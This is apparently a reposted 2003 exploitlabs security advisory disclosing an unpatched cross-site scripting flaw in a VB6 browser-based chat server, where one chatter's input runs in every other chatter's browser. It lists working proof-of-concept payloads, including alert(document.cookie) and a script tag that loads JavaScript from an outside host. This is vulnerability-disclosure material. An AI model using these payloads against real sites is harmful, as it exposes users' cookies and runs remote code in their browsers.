------------------------------------------------------------------
- EXPL-A-2003-019 exploitlabs.com Advisory 019
------------------------------------------------------------------
-= CHAT SERVER =-
exploitlabs
Aug 08, 2003
Product:
--------
Chat Server ( by author of "Sleuth 1.4" )
http://sandsprite.com/codestuff.asp
download and vb6 sources:
http://sandsprite.com/CodeStuff/chatserver.zip
Vunerability(s):
----------------
XSS ( push through )
Description of product:
-----------------------
Web browser based chatserver similar
to the Magma Chatserver that powers huge
sights like chatropolis.com. This will show
just how they can stream text into a browser
and display it realtime. Have an unlimited
number of people all chatting at once using
only their web browserspretty neat
chatserver is an server application
and runs by default on port 80
note: chatropolis.com is not affected
VUNERABILITY / EXPLOIT
======================
XSS is able to be "pushed" from one
chatter to another, with the results being
"forced" into any other chatters browser
for execution.
examples:
<script>alert("You are vunerable to xss ")</script>
<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SC
RIPT>
<iframe src="http://whatismyip.com"></iframe>
<script language="JavaScript"
src="http://www.astalavista.com/backend/news.js"
type="text/javascript"></script>
note: the last one is remote code.
the vunerability exists in the sample provided and after compiling from
the provided sources.
Local:
------
yes
Remote:
-------
yes
Vendor Fix:
-----------
No fix on 0day
Vendor Contact:
---------------
Concurrent with this advisory
dzzie@yahoo.com
Credits:
--------
Donnie Werner
morning_wood@e2-labs.com
http://e2-labs.com
http://exploitlabs.com
original advisory may be obtained at
http://exploitlabs.com/files/advisor...chatserver.txt

Likes:

pretty neat
Quote